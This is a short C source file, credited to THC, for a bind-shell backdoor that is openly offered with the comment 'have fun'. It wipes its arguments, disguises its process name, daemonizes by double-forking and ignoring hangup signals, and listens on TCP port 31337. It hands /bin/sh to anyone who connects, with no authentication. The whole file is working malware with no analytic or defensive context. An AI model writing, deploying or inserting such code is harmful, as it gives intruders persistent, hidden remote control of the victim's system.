/* have fun - got this from THC */
#define PORT 31337
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr; 
struct sockaddr_in client_addr;

int main (int argc, char *argv[])
{ 
    int i;
    for(i=0;i<argc;i++) {
      memset(argv[i],'\x0',strlen(argv[i]));
    };
    strcpy(argv[0],"th1s iz mY 3l1t3 baCkd00r");

    soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
    if (soc_des == -1) 
        exit(-1); 
    bzero((char *) &serv_addr, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET; 
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_addr.sin_port = htons(PORT);
    soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
    if (soc_rc != 0) 
        exit(-1); 
    if (fork() != 0) 
        exit(0); 
    setpgrp();  
    signal(SIGHUP, SIG_IGN); 
    if (fork() != 0) 
        exit(0); 
    soc_rc = listen(soc_des, 5);
    if (soc_rc != 0) 
        exit(0); 
    while (1) { 
        soc_len = sizeof(client_addr);
        soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
        if (soc_cli < 0) 
            exit(0); 
        cli_pid = getpid(); 
        server_pid = fork(); 
        if (server_pid != 0) { 
            dup2(soc_cli,0); 
            dup2(soc_cli,1); 
            dup2(soc_cli,2);
            execl("/bin/sh","sh",(char *)0); 
            close(soc_cli); 
            exit(0); 
        } 
    close(soc_cli);
    }
}